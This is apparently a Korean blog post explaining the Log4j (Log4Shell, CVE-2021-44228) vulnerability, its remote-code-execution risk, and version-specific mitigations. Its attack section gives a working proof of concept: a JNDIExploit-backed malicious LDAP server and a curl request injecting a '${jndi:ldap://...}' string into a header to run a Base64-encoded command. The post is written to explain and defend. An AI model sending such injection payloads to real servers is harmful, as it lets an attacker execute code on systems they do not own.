Apache Log4j
- 프로그램을 작성하는 도중에 로그를 남기기 위해 사용되는 자바 기반 로깅 유틸리티
- 아파치 소프트웨어 재단에서 개발함
문제 & 위험성
- 개인, 기업, 공공기관 등 Apache Log4j 라이브러리를 사용하는 모든 시스템이 해당 공격에 노출됨
- 대상 시스템에 *RCE 공격이 가능하며, 바이러스 유포나 개인정보 탈취 등의 문제 발생 가능성이 있음
*RCE(Remote Code Execution) : 공격 대상 서버에 원격 명령을 실행할 수 있는 것을 말함
공격 방법
1. JNDIExploit 를 사용 하여 악성 LDAP 서버 가동
2. 명령어 입력
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
${jndi:ldap:..(중략).../Base64/ 뒤의 값은 명령어를 Base64 로 Encoding 한 값임
"dG91Y2ggL3RtcC9wd25lZAo" = touch /tmp/pwned ( /tmp 경로에 이름이 pwned 인 빈 파일을 생성하는 명령어 )
3. 공격 코드가 실행되었는지 확인하기 위해 ls /tmp 명령어 실행 후 pwned 파일 존재 여부 확인
해결방안
- 2.0-beta9 ~ 2.10.0
˙ JndLookup 클래스를 경로에서 제거 : zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
- 2.10 ~ 2.14.1
˙ log4j2.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경변수를 true로 설정
- 제조사 홈페이지를 통해 최신버전(2.15.0) 업데이트 적용
출처
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592
https://logging.apache.org/log4j/2.x/download.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
https://logging.apache.org/log4j/2.x/security.html
https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36389
댓글